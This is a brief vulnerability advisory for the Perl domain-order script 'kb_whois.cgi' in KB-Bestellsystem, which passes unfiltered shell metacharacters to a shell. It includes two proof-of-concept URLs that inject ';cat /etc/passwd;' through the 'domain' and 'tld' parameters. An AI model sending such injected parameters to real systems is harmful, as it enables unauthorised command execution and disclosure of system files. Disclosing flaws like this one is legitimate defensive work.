"KB-Bestellsystem" is a domain order system written in Perl.

The "domain" and "tld" parameters in "kb_whois.cgi" are not filtering shell metacharacters.

The following examples will show you the /etc/passwd file:

http://targethost.com/kb-bestellsystem/kb_whois.cgi?action=check_owner&d
omain=;cat%20/etc/passwd;&tld=.com&tarrif=

http://targethost.com/kb-bestellsystem/kb_whois.cgi?action=check_owner&d
omain=google&tld=.com;cat /etc/passwd;&tarrif=

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